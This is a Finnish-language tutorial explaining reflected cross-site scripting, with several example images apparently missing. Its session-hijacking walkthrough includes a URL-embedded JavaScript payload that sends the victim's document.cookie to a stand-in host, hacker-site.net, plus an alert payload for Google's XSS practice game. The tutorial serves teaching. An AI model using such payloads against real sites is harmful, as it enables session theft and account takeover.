Mitä on Cross-Site Scripting?
Cross-Site Scripting (XSS) on yksi tämän hetken suosituimmista hyökkäystekniikoista, joka tunnetaan nimellä Attack Godfather, ja se on useiden vuosien ajan listattu sovellusten vaarallisimpana hyökkäystekniikana.
Älä kutsu sitä lyhyesti CSS:ksi välttääksesi sekaannukset HTML:n Cascading Style Sheet -konseptin kanssa.
XSS-
tekniikka
Ymmärtääksemme paremmin, tarkastellaan seuraavaa esimerkkiä. Verkkosovellus, joka sallii URL-osoitteen kautta välittämämme arvon tulostamisen olettaen, että välitämme nimimuuttujaan Ping-arvon:

Kaikki on toistaiseksi hyvin, katsotaanpa html-lähdekoodia:

On helppo nähdä, että antamamme nimen arvo on lisätty lähdekoodiin. Joten on mahdollista, että kaikki tuotu voidaan myös lisätä. Ongelma muuttuu vakavaksi, jos syötetty arvo ei ole normaali merkkijono, kuten yllä, vaan mahdollisesti vaarallinen koodinpätkä, jotain tällaista:
Yritä uudelleen yllä olevalla arvolla:

Tästä esimerkistä voimme päätellä kaksi asiaa. Ensinnäkin nimimuuttuja voi vastaanottaa minkä tahansa syötearvon ja lähettää sen palvelimelle käsittelyä varten. Toiseksi palvelin ei ohjannut tätä syöttöarvoa ennen sen palauttamista selaimeen. Tämä johtaa siihen, että javascript-koodi lisätään lähdekoodiin.
XSS on yleensä jaettu kolmeen päätyyppiin: heijastettu, tallennettu ja DOM-pohjainen. Tässä artikkelissa mainitsen pääasiassa Reflected XSS -tekniikan.
Jopa 75 % XSS-tekniikoista perustuu Reflected XSS:ään. Sitä kutsutaan heijastukseksi, koska tämän tyyppisessä hyväksikäyttöskenaariossa hakkerin on lähetettävä uhrille haitallista koodia sisältävä URL-osoite (yleensä javascript). Uhrin tarvitsee vain pyytää tätä URL-osoitetta, ja hakkeri saa välittömästi vastauksen, joka sisältää halutun tuloksen (heijastus näkyy tässä). Lisäksi se tunnetaan myös ensimmäisen asteen XSS:nä.
Tosielämän kaivosskenaario
Reflected XSS -virhettä voidaan hyödyntää monella tapaa, yksi tunnetuimmista tavoista on ottaa haltuunsa käyttäjän istunto ja siten päästä käsiksi tietoihin ja hankkia heidän oikeuksiaan verkkosivustolla.
Yksityiskohdat kuvataan seuraavissa vaiheissa:

1. Käyttäjä kirjautuu verkkoon ja olettaa, että istunto on määritetty:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Jotenkin hakkeri lähettää käyttäjälle URL-osoitteen:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Oletetaan, että esimerkki.com on sivusto, jolla uhri vierailee, ja hacker-site.net on hakkerin luoma sivusto
3. Uhri käyttää yllä olevaa URL-osoitetta
4. Palvelin vastaa uhrille ja toimittaa pyynnön sisältämät tiedot (hakkerin javascript-koodinpätkä)
5. Uhrin selain vastaanottaa vastauksen ja suorittaa javascriptin
6. Varsinainen javascript, jonka hakkeri loi, on seuraava:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Yllä oleva komentorivi tekee käytännössä pyynnön hakkerin sivustolle parametrin ollessa käyttäjän eväste:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Sivustoltasi hakkeri nappaa yllä olevan pyynnön sisällön ja katsoo, että käyttäjän istunto on otettu haltuun. Tässä vaiheessa hakkeri voi esiintyä uhrina ja käyttää kaikkia uhrin oikeuksia verkkosivustolla.
Harjoitella
Google on luonut sivun harjoitellakseen XSS-virheiden hyödyntämistä täällä: https://xss-game.appspot.com
Näiden haasteiden tavoitteena on, että sinun on lisättävä komentosarjat ponnahdusikkunan avaamiseksi. Ensimmäinen haaste on havainnollistaa reflektoitua tekniikkaa, hyväksikäyttökoodi on melko yksinkertainen:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Onnea!